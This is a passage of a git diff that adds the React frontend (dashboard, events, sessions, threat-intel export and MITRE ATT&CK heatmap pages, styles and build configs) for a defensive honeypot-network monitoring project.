Object.entries(stats.events_by_service).map(([name, count]) => ({ + name: name.toUpperCase(), + count, + })) + : [] + + const countryData = countries + ? Object.entries(countries) + .sort(([, a], [, b]) => b - a) + .slice(0, TOP_COUNTRIES_LIMIT) + .map(([code, count]) => ({ code, count })) + : [] + + return ( +
+
+

Dashboard

+ + NETWORK OPERATIONS / LIVE OVERVIEW + +
+ +
+ + + + +
+ +
+
+

Attack Origins

+ +
+ +
+

Live Feed

+ +
+
+ +
+
+

Events by Service

+
+ + + + + + + + +
+
+ +
+

Top Countries

+
+ {countryData.map((c) => ( +
+ {c.code} + + {c.count.toLocaleString()} + +
+ ))} +
+
+
+ + {credentials && ( +
+
+

Top Usernames

+
+ {credentials.top_usernames + .slice(0, TOP_CREDS_LIMIT) + .map((u) => ( +
+ {u.value} + {u.count} +
+ ))} +
+
+ +
+

Top Passwords

+
+ {credentials.top_passwords + .slice(0, TOP_CREDS_LIMIT) + .map((p) => ( +
+ {p.value} + {p.count} +
+ ))} +
+
+
+ )} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/events/events.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/pages/events/events.module.scss new file mode 100644 index 00000000..ce03388c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/events/events.module.scss @@ -0,0 +1,76 @@ +// ©AngelaMos | 2026 +// events.module.scss + +@use "../../styles/mixins" as *; + +.page { + display: flex; + flex-direction: column; + gap: var(--space-32); +} + +.heading { + display: flex; + justify-content: space-between; + align-items: flex-end; +} + +.headingLeft { + display: flex; + flex-direction: column; + gap: var(--space-4); +} + +.title { + @include display; +} + +.subtitle { + @include label; + letter-spacing: 2px; +} + +.filterGroup { + display: flex; + align-items: center; + gap: var(--space-12); +} + +.filterLabel { + @include label; +} + +.filter { + @include mono; + padding: var(--space-8) var(--space-12); + background: transparent; + border: none; + border-bottom: 2px solid var(--border-hard); + width: 200px; + color: var(--text-primary); + transition: border-color var(--ease); + + &::placeholder { + color: var(--text-muted); + } + + &:focus { + outline: none; + border-bottom-color: var(--accent); + } +} + +.table { + @include table-base; +} + +.dim { + color: var(--text-muted); +} + +.loading { + padding: var(--space-64); + text-align: center; + @include label; + letter-spacing: 3px; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/events/index.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/events/index.tsx new file mode 100644 index 00000000..4d15a83a --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/events/index.tsx @@ -0,0 +1,69 @@ +// ©AngelaMos | 2026 +// index.tsx + +import { useState } from 'react' +import { useEvents } from '@/api/hooks' +import { ServiceBadge } from '@/components/service-badge' +import styles from './events.module.scss' + +const PAGE_SIZE = 50 + +export function EventsPage() { + const [ipFilter, setIpFilter] = useState('') + const { data: events, isLoading } = useEvents( + PAGE_SIZE, + ipFilter || undefined + ) + + return ( +
+
+
+

Events

+ SYSTEM EVENT LOG +
+
+ FILTER IP + setIpFilter(e.target.value)} + /> +
+
+ + {isLoading ? ( +
LOADING ...
+ ) : ( + + + + + + + + + + + + + {events?.map((ev) => ( + + + + + + + + + ))} + +
TimeServiceTypeSource IPPortSession
{new Date(ev.timestamp).toLocaleString()} + + {ev.event_type}{ev.source_ip}{ev.dest_port}{ev.session_id.slice(0, 8)}
+ )} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/intel/index.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/intel/index.tsx new file mode 100644 index 00000000..98b73645 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/intel/index.tsx @@ -0,0 +1,150 @@ +// ©AngelaMos | 2026 +// index.tsx + +import { useState } from 'react' +import { useIOCs } from '@/api/hooks' +import { API_ENDPOINTS, BLOCKLIST_FORMATS, PAGINATION } from '@/config' +import { apiClient } from '@/core/api' +import styles from './intel.module.scss' + +function downloadBlob(data: string, filename: string, mime: string) { + const blob = new Blob([data], { type: mime }) + const url = URL.createObjectURL(blob) + const a = document.createElement('a') + a.href = url + a.download = filename + a.click() + URL.revokeObjectURL(url) +} + +export function IntelPage() { + const [offset, setOffset] = useState(0) + const { data, isLoading } = useIOCs(PAGINATION.DEFAULT_LIMIT, offset) + const iocs = data?.data ?? [] + const total = data?.total ?? 0 + + async function exportSTIX() { + const res = await apiClient.get(API_ENDPOINTS.IOCS.EXPORT_STIX, { + responseType: 'text', + }) + downloadBlob( + res.data as string, + 'hive-iocs.stix.json', + 'application/json' + ) + } + + async function exportBlocklist(format: string) { + const res = await apiClient.get( + API_ENDPOINTS.IOCS.EXPORT_BLOCKLIST, + { params: { format }, responseType: 'text' } + ) + const ext = format === 'csv' ? '.csv' : '.txt' + downloadBlob( + res.data as string, + `hive-blocklist${ext}`, + 'text/plain' + ) + } + + return ( +
+
+
+

Intel

+ + THREAT INTELLIGENCE PRODUCTS + +
+ +
+ EXPORT + + {BLOCKLIST_FORMATS.map((fmt) => ( + + ))} +
+
+ + {isLoading ? ( +
LOADING ...
+ ) : ( + <> + + + + + + + + + + + + + + {iocs.map((ioc) => ( + + + + + + + + + + ))} + +
TypeValueConfidenceSightingsSourceFirst SeenLast Seen
{ioc.type}{ioc.value}{ioc.confidence}%{ioc.sight_count}{ioc.source} + {new Date(ioc.first_seen).toLocaleDateString()} + + {new Date(ioc.last_seen).toLocaleDateString()} +
+ +
+ + + {offset + 1}– + {Math.min(offset + PAGINATION.DEFAULT_LIMIT, total)} OF{' '} + {total} + + +
+ + )} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/intel/intel.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/pages/intel/intel.module.scss new file mode 100644 index 00000000..7870c3e3 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/intel/intel.module.scss @@ -0,0 +1,113 @@ +// ©AngelaMos | 2026 +// intel.module.scss + +@use "../../styles/mixins" as *; + +.page { + display: flex; + flex-direction: column; + gap: var(--space-32); +} + +.heading { + display: flex; + justify-content: space-between; + align-items: flex-end; + flex-wrap: wrap; + gap: var(--space-16); +} + +.headingLeft { + display: flex; + flex-direction: column; + gap: var(--space-4); +} + +.title { + @include display; +} + +.subtitle { + @include label; + letter-spacing: 2px; +} + +.exports { + display: flex; + align-items: center; + gap: var(--space-8); +} + +.exportLabel { + @include label; + margin-right: var(--space-4); +} + +.exportBtn { + @include mono(10px); + font-weight: 700; + letter-spacing: 1px; + padding: var(--space-4) var(--space-12); + border: 1px solid var(--border-hard); + color: var(--text-secondary); + transition: all var(--ease); + + &:hover { + border-color: var(--accent); + color: var(--accent); + } +} + +.table { + @include table-base; +} + +.iocType { + @include mono(10px); + font-weight: 700; + letter-spacing: 0.5px; + text-transform: uppercase; + color: var(--accent); +} + +.pagination { + display: flex; + justify-content: center; + align-items: center; + gap: var(--space-24); + padding-top: var(--space-16); + border-top: 1px solid var(--border-soft); +} + +.pageBtn { + @include mono(11px); + font-weight: 600; + letter-spacing: 1px; + padding: var(--space-8) var(--space-16); + border: 1px solid var(--border-hard); + color: var(--text-secondary); + transition: all var(--ease); + + &:hover:not(:disabled) { + border-color: var(--accent); + color: var(--accent); + } + + &:disabled { + opacity: 0.25; + cursor: not-allowed; + } +} + +.pageInfo { + @include mono(11px); + color: var(--text-muted); + letter-spacing: 1px; +} + +.loading { + padding: var(--space-64); + text-align: center; + @include label; + letter-spacing: 3px; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/mitre/index.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/mitre/index.tsx new file mode 100644 index 00000000..86e7b81e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/mitre/index.tsx @@ -0,0 +1,100 @@ +// ©AngelaMos | 2026 +// index.tsx + +import { useMitreHeatmap, useMitreTechniques } from '@/api/hooks' +import styles from './mitre.module.scss' + +const TACTIC_ORDER = [ + 'reconnaissance', + 'initial-access', + 'execution', + 'credential-access', + 'discovery', + 'lateral-movement', + 'command-and-control', + 'persistence', + 'impact', +] as const + +const HEAT_THRESHOLDS = [0, 5, 20, 50, 100] as const + +function heatLevel(count: number): number { + for (let i = HEAT_THRESHOLDS.length - 1; i >= 0; i--) { + if (count >= (HEAT_THRESHOLDS[i] ?? 0)) return i + } + return 0 +} + +export function MitrePage() { + const { data: techniques } = useMitreTechniques() + const { data: heatmap } = useMitreHeatmap() + + const countMap = new Map( + heatmap?.map((h) => [h.technique_id, h.count]) + ) + + const byTactic = new Map() + for (const t of techniques ?? []) { + const existing = byTactic.get(t.tactic) ?? [] + existing.push(t) + byTactic.set(t.tactic, existing) + } + + return ( +
+
+

MITRE ATT&CK

+ ADVERSARY TECHNIQUE HEATMAP +
+ +
+ INTENSITY + {HEAT_THRESHOLDS.map((t, i) => ( + + + {t}+ + + ))} +
+ +
+ {TACTIC_ORDER.map((tactic) => { + const techs = byTactic.get(tactic) + if (!techs) return null + + return ( +
+

+ {tactic.replace(/-/g, ' ')} +

+
+ {techs.map((t) => { + const count = countMap.get(t.id) ?? 0 + const level = heatLevel(count) + + return ( +
+ {t.id} + {t.name} + {count > 0 && ( + + {count} + + )} +
+ ) + })} +
+
+ ) + })} +
+
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/mitre/mitre.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/pages/mitre/mitre.module.scss new file mode 100644 index 00000000..983b8a48 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/mitre/mitre.module.scss @@ -0,0 +1,135 @@ +// ©AngelaMos | 2026 +// mitre.module.scss + +@use "../../styles/mixins" as *; + +.page { + display: flex; + flex-direction: column; + gap: var(--space-32); +} + +.heading { + display: flex; + flex-direction: column; + gap: var(--space-4); +} + +.title { + @include display; +} + +.subtitle { + @include label; + letter-spacing: 2px; +} + +.legend { + display: flex; + align-items: center; + gap: var(--space-16); + padding: var(--space-12) var(--space-16); + border: 1px solid var(--border-hard); + width: fit-content; +} + +.legendLabel { + @include label; + margin-right: var(--space-8); +} + +.legendItem { + display: flex; + align-items: center; + gap: var(--space-4); +} + +.legendSwatch { + width: 16px; + height: 10px; +} + +.legendText { + @include mono(10px); + color: var(--text-muted); +} + +.matrix { + display: flex; + gap: var(--space-2); + overflow-x: auto; + padding-bottom: var(--space-16); +} + +.tacticColumn { + min-width: 180px; + flex-shrink: 0; +} + +.tacticLabel { + @include label; + color: var(--text-secondary); + padding: var(--space-12) var(--space-8); + border-bottom: 2px solid var(--border-hard); + margin-bottom: var(--space-4); + text-transform: uppercase; +} + +.techniques { + display: flex; + flex-direction: column; + gap: var(--space-2); +} + +.technique { + padding: var(--space-8); + border: 1px solid var(--border-soft); + cursor: default; + transition: border-color var(--ease); + + &:hover { + border-color: var(--border-hard); + } +} + +.techId { + @include mono(10px); + color: var(--text-muted); + display: block; +} + +.techName { + @include mono(11px); + font-weight: 500; + display: block; + margin-top: var(--space-2); + color: var(--text-primary); +} + +.techCount { + @include mono(10px); + font-weight: 700; + display: block; + margin-top: var(--space-2); + color: var(--accent); +} + +.heat0 { + background: var(--bg-surface); +} + +.heat1 { + background: oklch(18% 0.02 55); +} + +.heat2 { + background: oklch(22% 0.05 55); +} + +.heat3 { + background: oklch(25% 0.08 45); +} + +.heat4 { + background: oklch(28% 0.12 35); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/detail.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/detail.tsx new file mode 100644 index 00000000..8ddb14a6 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/detail.tsx @@ -0,0 +1,68 @@ +// ©AngelaMos | 2026 +// detail.tsx + +import { Link, useParams } from 'react-router-dom' +import { useSession, useSessionReplay } from '@/api/hooks' +import { ServiceBadge } from '@/components/service-badge' +import { SessionPlayer } from '@/components/session-player' +import styles from './sessions.module.scss' + +export function SessionDetailPage() { + const { id } = useParams<{ id: string }>() + const { data: session, isLoading } = useSession(id ?? '') + const { data: replayData } = useSessionReplay(id ?? '') + + if (isLoading || !session) { + return
LOADING ...
+ } + + const rows = [ + { label: 'SERVICE', value: }, + { label: 'SOURCE', value: `${session.source_ip}:${session.source_port}` }, + { label: 'USERNAME', value: session.username || '\u2014' }, + { label: 'COMMANDS', value: String(session.command_count) }, + { label: 'THREAT SCORE', value: String(session.threat_score) }, + { label: 'STARTED', value: new Date(session.started_at).toLocaleString() }, + { + label: 'ENDED', + value: session.ended_at + ? new Date(session.ended_at).toLocaleString() + : 'Active', + }, + ] + + if (session.mitre_techniques && session.mitre_techniques.length > 0) { + rows.push({ + label: 'MITRE', + value: session.mitre_techniques.join(', '), + }) + } + + return ( +
+ + ← SESSIONS + + +

+ SESSION {session.id.slice(0, 8)} +

+ +
+ {rows.map((row) => ( +
+ {row.label} + {row.value} +
+ ))} +
+ + {replayData && ( + <> +

Session Replay

+ + + )} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/index.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/index.tsx new file mode 100644 index 00000000..cc30599c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/index.tsx @@ -0,0 +1,107 @@ +// ©AngelaMos | 2026 +// index.tsx + +import { useState } from 'react' +import { Link } from 'react-router-dom' +import { useSessions } from '@/api/hooks' +import { ServiceBadge } from '@/components/service-badge' +import styles from './sessions.module.scss' + +const PAGE_SIZE = 50 + +export function SessionsPage() { + const [offset, setOffset] = useState(0) + const { data, isLoading } = useSessions(PAGE_SIZE, offset) + const sessions = data?.data ?? [] + const total = data?.total ?? 0 + + return ( +
+
+

Sessions

+ RECORDED ENCOUNTERS +
+ + {isLoading ? ( +
LOADING ...
+ ) : ( + <> + + + + + + + + + + + + + + + {sessions.map((s) => { + const duration = s.ended_at + ? Math.round( + (new Date(s.ended_at).getTime() - + new Date(s.started_at).getTime()) / + 1000 + ) + : null + + return ( + + + + + + + + + + + ) + })} + +
IDServiceSource IPUsernameCommandsThreatStartedDuration
+ + {s.id.slice(0, 8)} + + + + {s.source_ip}{s.username || '\u2014'}{s.command_count}{s.threat_score}{new Date(s.started_at).toLocaleString()} + {duration !== null ? `${duration}s` : 'active'} +
+ +
+ + + {offset + 1}–{Math.min(offset + PAGE_SIZE, total)}{' '} + OF {total} + + +
+ + )} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/sessions.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/sessions.module.scss new file mode 100644 index 00000000..c6d0e8dc --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/sessions/sessions.module.scss @@ -0,0 +1,136 @@ +// ©AngelaMos | 2026 +// sessions.module.scss + +@use "../../styles/mixins" as *; + +.page { + display: flex; + flex-direction: column; + gap: var(--space-32); +} + +.heading { + display: flex; + flex-direction: column; + gap: var(--space-4); +} + +.title { + @include display; +} + +.subtitle { + @include label; + letter-spacing: 2px; +} + +.table { + @include table-base; +} + +.link { + color: var(--accent); + transition: opacity var(--ease); + + &:hover { + opacity: 0.7; + } +} + +.threat { + color: var(--critical); + font-weight: 700; +} + +.pagination { + display: flex; + justify-content: center; + align-items: center; + gap: var(--space-24); + padding-top: var(--space-16); + border-top: 1px solid var(--border-soft); +} + +.pageBtn { + @include mono(11px); + font-weight: 600; + letter-spacing: 1px; + padding: var(--space-8) var(--space-16); + border: 1px solid var(--border-hard); + color: var(--text-secondary); + transition: all var(--ease); + + &:hover:not(:disabled) { + border-color: var(--accent); + color: var(--accent); + } + + &:disabled { + opacity: 0.25; + cursor: not-allowed; + } +} + +.pageInfo { + @include mono(11px); + color: var(--text-muted); + letter-spacing: 1px; +} + +.loading { + padding: var(--space-64); + text-align: center; + @include label; + letter-spacing: 3px; +} + +.back { + @include mono(12px); + color: var(--text-secondary); + display: inline-flex; + align-items: center; + gap: var(--space-8); + transition: color var(--ease); + + &:hover { + color: var(--accent); + } +} + +.detailTitle { + @include display(36px); +} + +.dossier { + border: 1px solid var(--border-hard); +} + +.dossierRow { + display: grid; + grid-template-columns: 160px 1fr; + border-bottom: 1px solid var(--border-soft); + + &:last-child { + border-bottom: none; + } +} + +.dossierLabel { + @include label; + padding: var(--space-12) var(--space-16); + background: var(--bg-surface); + display: flex; + align-items: center; +} + +.dossierValue { + @include mono; + padding: var(--space-12) var(--space-16); + display: flex; + align-items: center; +} + +.replayHeading { + @include section-label; + margin-top: var(--space-16); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/styles/_mixins.scss b/PROJECTS/advanced/honeypot-network/frontend/src/styles/_mixins.scss new file mode 100644 index 00000000..1c0a4f0b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/styles/_mixins.scss @@ -0,0 +1,64 @@ +// ©AngelaMos | 2026 +// _mixins.scss + +@mixin mono($size: 13px) { + font-family: var(--font-mono); + font-size: $size; +} + +@mixin label { + font-family: var(--font-mono); + font-size: 10px; + font-weight: 600; + letter-spacing: 1.5px; + text-transform: uppercase; + color: var(--text-muted); +} + +@mixin display($size: 48px) { + font-family: var(--font-sans); + font-size: $size; + font-weight: 800; + letter-spacing: 4px; + text-transform: uppercase; + line-height: 1; + color: var(--text-primary); +} + +@mixin section-label { + @include label; + color: var(--text-secondary); + padding-bottom: var(--space-8); + border-bottom: 1px solid var(--border-hard); +} + +@mixin table-base { + width: 100%; + + th { + @include label; + padding: var(--space-12) var(--space-16); + text-align: left; + border-bottom: 2px solid var(--border-hard); + } + + td { + padding: var(--space-12) var(--space-16); + border-bottom: 1px solid var(--border-soft); + @include mono; + } + + tbody tr { + transition: background var(--ease); + + &:hover { + background: var(--bg-surface); + } + } +} + +@mixin truncate { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/styles/_reset.scss b/PROJECTS/advanced/honeypot-network/frontend/src/styles/_reset.scss new file mode 100644 index 00000000..d57fe99b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/styles/_reset.scss @@ -0,0 +1,74 @@ +// ©AngelaMos | 2026 +// _reset.scss + +*, +*::before, +*::after { + box-sizing: border-box; + margin: 0; + padding: 0; +} + +html { + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + text-rendering: optimizeLegibility; +} + +body { + font-family: var(--font-mono); + font-size: 13px; + line-height: 1.5; + color: var(--text-primary); + background: var(--bg-base); + min-height: 100vh; +} + +a { + color: inherit; + text-decoration: none; +} + +button { + cursor: pointer; + font: inherit; + color: inherit; + background: none; + border: none; +} + +input, +select, +textarea { + font: inherit; + color: inherit; +} + +table { + border-collapse: collapse; + width: 100%; +} + +img, +svg { + display: block; + max-width: 100%; +} + +ul, +ol { + list-style: none; +} + +::-webkit-scrollbar { + width: 4px; + height: 4px; +} + +::-webkit-scrollbar-track { + background: transparent; +} + +::-webkit-scrollbar-thumb { + background: var(--border-hard); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/styles/_tokens.scss b/PROJECTS/advanced/honeypot-network/frontend/src/styles/_tokens.scss new file mode 100644 index 00000000..6040465f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/styles/_tokens.scss @@ -0,0 +1,38 @@ +// ©AngelaMos | 2026 +// _tokens.scss + +:root { + --bg-void: oklch(7% 0.005 55); + --bg-base: oklch(11% 0.005 55); + --bg-surface: oklch(16% 0.005 55); + --bg-elevated: oklch(22% 0.005 55); + --bg-invert: oklch(90% 0.01 70); + + --text-primary: oklch(88% 0.008 70); + --text-secondary: oklch(52% 0.005 55); + --text-muted: oklch(32% 0.005 55); + + --border-hard: oklch(30% 0.005 55); + --border-soft: oklch(18% 0.005 55); + + --accent: oklch(70% 0.19 55); + --accent-dim: oklch(38% 0.08 55); + + --critical: oklch(60% 0.22 28); + --active: oklch(65% 0.16 148); + + --font-mono: "JetBrains Mono", "Fira Code", ui-monospace, monospace; + --font-sans: "Inter", system-ui, -apple-system, sans-serif; + + --space-2: 2px; + --space-4: 4px; + --space-8: 8px; + --space-12: 12px; + --space-16: 16px; + --space-24: 24px; + --space-32: 32px; + --space-48: 48px; + --space-64: 64px; + + --ease: 150ms ease-out; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/styles/global.scss b/PROJECTS/advanced/honeypot-network/frontend/src/styles/global.scss new file mode 100644 index 00000000..a66ba284 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/styles/global.scss @@ -0,0 +1,5 @@ +// ©AngelaMos | 2026 +// global.scss + +@use "tokens"; +@use "reset"; diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/vite-env.d.ts b/PROJECTS/advanced/honeypot-network/frontend/src/vite-env.d.ts new file mode 100644 index 00000000..35998f7b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/vite-env.d.ts @@ -0,0 +1,6 @@ +/// + +declare module '*.module.scss' { + const classes: { readonly [key: string]: string } + export default classes +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/stylelint.config.js b/PROJECTS/advanced/honeypot-network/frontend/stylelint.config.js new file mode 100644 index 00000000..faa535e7 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/stylelint.config.js @@ -0,0 +1,107 @@ +// ©AngelaMos | 2026 +// stylelint.config.js + +/** @type {import('stylelint').Config} */ +export default { + extends: ['stylelint-config-standard-scss', 'stylelint-config-prettier-scss'], + rules: { + 'block-no-empty': true, + 'declaration-no-important': true, + 'color-no-invalid-hex': true, + 'property-no-unknown': true, + 'selector-pseudo-class-no-unknown': [ + true, + { + ignorePseudoClasses: ['global'], + }, + ], + + 'selector-class-pattern': [ + '^[a-z]([a-z0-9-]+)?(__[a-z0-9]([a-z0-9-]+)?)?(--[a-z0-9]([a-z0-9-]+)?)?$|^[a-z][a-zA-Z0-9]*$', + { + message: + 'Selector should be in BEM format (e.g., .block__element--modifier) or CSS Modules camelCase (e.g., .testButton)', + }, + ], + + 'value-keyword-case': [ + 'lower', + { + camelCaseSvgKeywords: true, + ignoreKeywords: [ + 'BlinkMacSystemFont', + 'SFMono-Regular', + 'Menlo', + 'Monaco', + 'Consolas', + 'Roboto', + 'Arial', + 'Helvetica', + 'Times', + 'Georgia', + 'Verdana', + 'Tahoma', + 'Trebuchet', + 'Impact', + 'Comic', + ], + }, + ], + + 'property-no-vendor-prefix': [ + true, + { + ignoreProperties: ['text-size-adjust', 'appearance', 'backdrop-filter'], + }, + ], + 'value-no-vendor-prefix': true, + 'selector-no-vendor-prefix': true, + + 'property-no-deprecated': [ + true, + { + ignoreProperties: ['clip'], + }, + ], + + 'container-name-pattern': null, + 'layer-name-pattern': null, + + 'scss/at-rule-no-unknown': true, + 'scss/declaration-nested-properties-no-divided-groups': true, + 'scss/dollar-variable-no-missing-interpolation': true, + 'scss/dollar-variable-empty-line-before': null, + + 'declaration-empty-line-before': null, + 'custom-property-empty-line-before': null, + + 'no-descending-specificity': null, + + 'media-feature-name-no-unknown': [ + true, + { + ignoreMediaFeatureNames: ['map'], + }, + ], + + 'color-function-notation': null, + 'hue-degree-notation': null, + }, + ignoreFiles: [ + 'node_modules/**', + 'dist/**', + 'build/**', + '**/*.js', + '**/*.ts', + '**/*.tsx', + ], + overrides: [ + { + files: ['**/styles/_reset.scss'], + rules: { + 'declaration-no-important': null, + 'scss/comment-no-empty': null, + }, + }, + ], +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/tsconfig.app.json b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.app.json new file mode 100644 index 00000000..dbab852f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.app.json @@ -0,0 +1,24 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2023", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "moduleDetection": "force", + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "noUncheckedIndexedAccess": true, + "baseUrl": ".", + "paths": { + "@/*": ["src/*"] + } + }, + "include": ["src"] +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/tsconfig.app.tsbuildinfo b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.app.tsbuildinfo new file mode 100644 index 00000000..4f51281f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.app.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./src/App.tsx","./src/config.ts","./src/main.tsx","./src/vite-env.d.ts","./src/api/hooks/index.ts","./src/api/hooks/useAttackers.ts","./src/api/hooks/useEvents.ts","./src/api/hooks/useIOCs.ts","./src/api/hooks/useMitre.ts","./src/api/hooks/useSensors.ts","./src/api/hooks/useSessions.ts","./src/api/hooks/useStats.ts","./src/api/types/attacker.types.ts","./src/api/types/common.types.ts","./src/api/types/event.types.ts","./src/api/types/index.ts","./src/api/types/ioc.types.ts","./src/api/types/mitre.types.ts","./src/api/types/sensor.types.ts","./src/api/types/session.types.ts","./src/api/types/stats.types.ts","./src/components/attack-map.tsx","./src/components/event-feed.tsx","./src/components/service-badge.tsx","./src/components/session-player.tsx","./src/components/stat-card.tsx","./src/core/api/api.config.ts","./src/core/api/errors.ts","./src/core/api/index.ts","./src/core/api/query.config.ts","./src/core/app/router.tsx","./src/core/app/shell.tsx","./src/core/lib/index.ts","./src/core/lib/websocket.store.ts","./src/pages/attackers/detail.tsx","./src/pages/attackers/index.tsx","./src/pages/dashboard/index.tsx","./src/pages/events/index.tsx","./src/pages/intel/index.tsx","./src/pages/mitre/index.tsx","./src/pages/sessions/detail.tsx","./src/pages/sessions/index.tsx"],"version":"5.9.3"} diff --git a/PROJECTS/advanced/honeypot-network/frontend/tsconfig.json b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.json new file mode 100644 index 00000000..1ffef600 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.json @@ -0,0 +1,7 @@ +{ + "files": [], + "references": [ + { "path": "./tsconfig.app.json" }, + { "path": "./tsconfig.node.json" } + ] +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/tsconfig.node.json b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.node.json new file mode 100644 index 00000000..16a9b627 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.node.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2023"], + "types": ["node"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "moduleDetection": "force", + "noEmit": true, + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true + }, + "include": ["vite.config.ts"] +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/tsconfig.node.tsbuildinfo b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.node.tsbuildinfo new file mode 100644 index 00000000..21029928 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/tsconfig.node.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./vite.config.ts"],"version":"5.9.3"} diff --git a/PROJECTS/advanced/honeypot-network/frontend/vite.config.ts b/PROJECTS/advanced/honeypot-network/frontend/vite.config.ts new file mode 100644 index 00000000..1e7f842e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/vite.config.ts @@ -0,0 +1,33 @@ +// ©AngelaMos | 2026 +// vite.config.ts + +import { resolve } from 'node:path' +import react from '@vitejs/plugin-react' +import { defineConfig } from 'vite' + +export default defineConfig({ + plugins: [react()], + resolve: { + alias: { + '@': resolve(__dirname, 'src'), + }, + }, + css: { + modules: { + localsConvention: 'camelCaseOnly', + }, + }, + server: { + port: 5173, + proxy: { + '/api': { + target: process.env.VITE_API_TARGET ?? 'http://localhost:8000', + changeOrigin: true, + }, + '/ws': { + target: process.env.VITE_WS_TARGET ?? 'ws://localhost:8000', + ws: true, + }, + }, + }, +}) diff --git a/PROJECTS/advanced/honeypot-network/go.mod b/PROJECTS/advanced/honeypot-network/go.mod new file mode 100644 index 00000000..a4cd37ac --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/go.mod @@ -0,0 +1,47 @@ +module github.com/CarterPerez-dev/hive + +go 1.25.0 + +require ( + github.com/fatih/color v1.19.0 + github.com/go-chi/chi/v5 v5.2.5 + github.com/google/uuid v1.6.0 + github.com/jackc/pgx/v5 v5.9.2 + github.com/oschwald/maxminddb-golang v1.13.1 + github.com/pressly/goose/v3 v3.27.0 + github.com/redis/go-redis/v9 v9.18.0 + github.com/rs/zerolog v1.35.0 + github.com/spf13/cobra v1.10.2 + github.com/stretchr/testify v1.11.1 + github.com/tidwall/redcon v1.6.2 + golang.org/x/crypto v0.50.0 + golang.org/x/sync v0.20.0 + golang.org/x/term v0.42.0 + golang.org/x/time v0.15.0 + gopkg.in/yaml.v3 v3.0.1 + nhooyr.io/websocket v1.8.17 +) + +require ( + github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/jackc/pgpassfile v1.0.0 // indirect + github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect + github.com/jackc/puddle/v2 v2.2.2 // indirect + github.com/kr/text v0.2.0 // 